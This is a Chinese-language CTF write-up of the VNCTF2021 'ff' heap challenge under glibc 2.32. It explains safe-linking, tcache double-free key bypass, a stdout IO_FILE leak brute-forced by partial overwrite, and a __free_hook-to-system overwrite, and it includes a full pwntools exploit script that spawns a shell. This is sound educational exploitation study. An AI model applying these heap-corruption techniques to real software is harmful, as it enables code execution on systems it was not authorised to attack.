2.32下的tcache利用-VNCTF2021 ff

通过这题学习下2.32下的tcache,同时还学到好多东西。

1.先解析下题目,大概是提供了分配、释放、编辑、打印堆块的功能,不过限制了只能打印一次、编辑两次,同时还限制了不能分配0x90及以上的堆块。然后释放功能指针没清空,有UAF,保护全开。

img

2.首先泄露地址:因为2.32要利用doble-free必须泄露堆地址,所以show()功能肯定先被用掉,直接从free的chunk的fd指针泄露出heap_base,因为2.32的safe-linking异或机制就是下一个chunk和heap_base异或放入fd。

那么就思考之后怎么泄露Libc地址,可以通过劫持IO来泄露,但是劫持IO也需要libc地址才行啊,这里就用到爆破,利用unsortebin来留下地址在tcache结构体上,然后部分写2个字节来爆破半个字节。因为IO和main_arena其实相距不是太远,调试就可以知道。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#注释头

#leak heap_base
new(0x80,'PIG007NB')
free()
show()
heap_leak = u64(rc(5).ljust(8,'\x00'))
heap_base = heap_leak*0x1000
log.info("heap_base:0x%x"%heap_base)

#change key to make double free
edit('PIG007NBPIG007NB')
free()

#change 0x290(7) to free tcache(0x290) into unsortedbin
edit(p64((heap_leak) ^ (heap_base + 0x10)))
new(0x80, 'PIG007NB')
new(0x80, '\x00\x00' *((0x290-0x20)/0x10) + '\x07\x00')
free()
#--------------------------------------------
new(0x88, ('\x00\x00' + '\x00\x00' + '\x02\x00' + '\x00\x00' + '\x00\x00' * 2 + '\x01\x00').ljust(0x88, '\x00'))
#--------------------------------------------

被#—————————包裹起来的部分,这里只能申请0x48或者0x88大小的,因为tcache结构体被破坏,很多bin的数量变大了,不再是0x0,但是tcache中对应的Bin链表中仍然是0x0,再申请对应大小的就会触发程序异常,其实就是放入tcache空闲bin链表的时候错误:

img

img

3.然后就是劫持IO泄露地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#注释头

new(0x18,p64(heap_base+0x330)+'\xbb') #will be used later
new(0x18,p16(0x66c0))
new(0x78,p64(0xfbad1800) + p64(0)*3 + p64(heap_base+0xa8)+p64(heap_base+0xb0)+p64(heap_base+0xb0))

#new(0x78,p64(0xfbad1800) + p64(0)*3 + b'\x00')
#this will be OK
main_arena = u64(p.recvuntil('1.add')[-13:-7].ljust(8,b'\x00')) - 0xbb - 96
test = main_arena>>40
log.info("main_arena:0x%x"%main_arena)
log.info("test:0x%x"%test)
if(test != 0x7f):
return
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
libc_base = malloc_hook-obj.dump('__malloc_hook')
#stdout_addr = u64(p.recvuntil('1.add')[-13:-7].ljust(8,b'\x00'))-132
# log.info("stdout_addr:0x%x"%stdout_addr)
# obj = LibcSearcher("_IO_2_1_stdout_", stdout_addr)
# libc_base = stdout_addr-obj.dump('_IO_2_1_stdout_')

system_addr = libc_base + obj.dump("system")
__free_hook_addr = libc_base + obj.dump("__free_hook")

log.info("libc_base:0x%x"%libc_base)
log.info("system_addr:0x%x"%system_addr)
log.info("__free_hook_addr:0x%x"%__free_hook_addr)

4.最后就是填充,将unsortedbin申请完之后,将unsortedbin从Tcache的结构体中脱离出来,防止再申请的时候乱套。这里直接从topchunk申请,安全一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#注释头

new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x18,'PIG007NB')
new(0x18,'PIG007NB')


#one_gadget = libc_base + 0xdf54c
new(0x88, p64(__free_hook_addr^(heap_base/0x1000)))
new(0x38, p64(system_addr))
new(0x38, p64(system_addr))

new(0x10, b'/bin/sh\x00')
pause()
free()
p.interactive()

5.最后贴个爆破的exp,有些借鉴了arttnba3师傅的:

https://arttnba3.cn/2021/05/10/NOTE-0X04-GLIBC_HEAP-EXPLOIT/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#注释头

# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./pwn"
#libc_file = "./libc-2.24.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
log.info("libc_base:0x%x"%libc_base)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
#p = process(binary)
p = process(['/home/hacker/glibc/2.32/glibc-2.32_build/elf/ld.so', './pwn'], env={"LD_PRELOAD":"/home/hacker/glibc/2.32/glibc-2.32_build/libc.so.6"})
#p = process(['./ld-2.32.so', './pwn'], env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
#libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","49153")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)



def cmd(command):
p.recvuntil(b">>")
p.sendline(str(command).encode())

def new(size, content):
cmd(1)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.send(content)

def free():
cmd(2)

def show():
cmd(3)

def edit(content):
cmd(5)
p.recvuntil(b"Content:")
p.send(content)

def exp():

#leak heap_base
new(0x80,'PIG007NB')
free()
show()
heap_leak = u64(rc(5).ljust(8,'\x00'))
heap_base = heap_leak*0x1000
log.info("heap_base:0x%x"%heap_base)

#change key to make double free
edit('PIG007NBPIG007NB')
free()

#change 0x290(7) to free tcache(0x290) into unsortedbin
edit(p64((heap_leak) ^ (heap_base + 0x10)))
new(0x80, 'PIG007NB')
new(0x80, '\x00\x00' *((0x290-0x20)/0x10) + '\x07\x00')
free()
#--------------------------------------------
new(0x88, ('\x00\x00' + '\x00\x00' + '\x02\x00' + '\x00\x00' + '\x00\x00' * 2 + '\x01\x00').ljust(0x88, '\x00'))
#--------------------------------------------


new(0x18,p64(heap_base+0x330)+'\xbb') #will be used later
new(0x18,p16(0x66c0))
new(0x78,p64(0xfbad1800) + p64(0)*3 + p64(heap_base+0xa8)+p64(heap_base+0xb0)+p64(heap_base+0xb0))

#new(0x78,p64(0xfbad1800) + p64(0)*3 + b'\x00')
#this will be OK
main_arena = u64(p.recvuntil('1.add')[-13:-7].ljust(8,b'\x00')) - 0xbb - 96
test = main_arena>>40
log.info("main_arena:0x%x"%main_arena)
log.info("test:0x%x"%test)
if(test != 0x7f):
return
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
libc_base = malloc_hook-obj.dump('__malloc_hook')
#stdout_addr = u64(p.recvuntil('1.add')[-13:-7].ljust(8,b'\x00'))-132
# log.info("stdout_addr:0x%x"%stdout_addr)
# obj = LibcSearcher("_IO_2_1_stdout_", stdout_addr)
# libc_base = stdout_addr-obj.dump('_IO_2_1_stdout_')

system_addr = libc_base + obj.dump("system")
__free_hook_addr = libc_base + obj.dump("__free_hook")

log.info("libc_base:0x%x"%libc_base)
log.info("system_addr:0x%x"%system_addr)
log.info("__free_hook_addr:0x%x"%__free_hook_addr)

new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x58,'PIG007NB')
new(0x18,'PIG007NB')
new(0x18,'PIG007NB')


#one_gadget = libc_base + 0xdf54c
new(0x88, p64(__free_hook_addr^(heap_base/0x1000)))
new(0x38, p64(system_addr))
new(0x38, p64(system_addr))

new(0x10, '/bin/sh\x00')
pause()
free()
p.interactive()

count = 1
while True:
try:
print('the no.' + str(count) + ' try')
p = process(['/home/hacker/glibc/2.32/glibc-2.32_build/elf/ld.so', './pwn'], env={"LD_PRELOAD":"/home/hacker/glibc/2.32/glibc-2.32_build/libc.so.6"})
#p = remote('node3.buuoj.cn', 26018)#process('./ff') #
exp()

except Exception as e:
print(e)
p.close()
count = count + 1
continue

▲总结一下:

(1)IO_FILE的新知识:

new(0x78,p64(0xfbad1800) + p64(0)*3 + b’\x00’)

(2)2.32Tcache机制:

①放入tcache对应bin链表时会异或heap_base/0x1000,并且fd也会变化。

②bin链表中的count和申请与否的关系:

如果tcache的对应bin的count为0,则不会从该Tcache中申请。

如果大于等于1,那么就需要看tcache结构体上对应bin链表存放的chunk地址是否为一个合法的了,如果不合法则会申请失败,程序退出。(应该都是这样的)

③需要修改Key字段才能double free,即free 的时候会检测 key 字段是否为 tcache,如果相等则检测 free 的指针值是否在对应的tcache的bin上,如果在则视为程序在 double free,进而终止程序。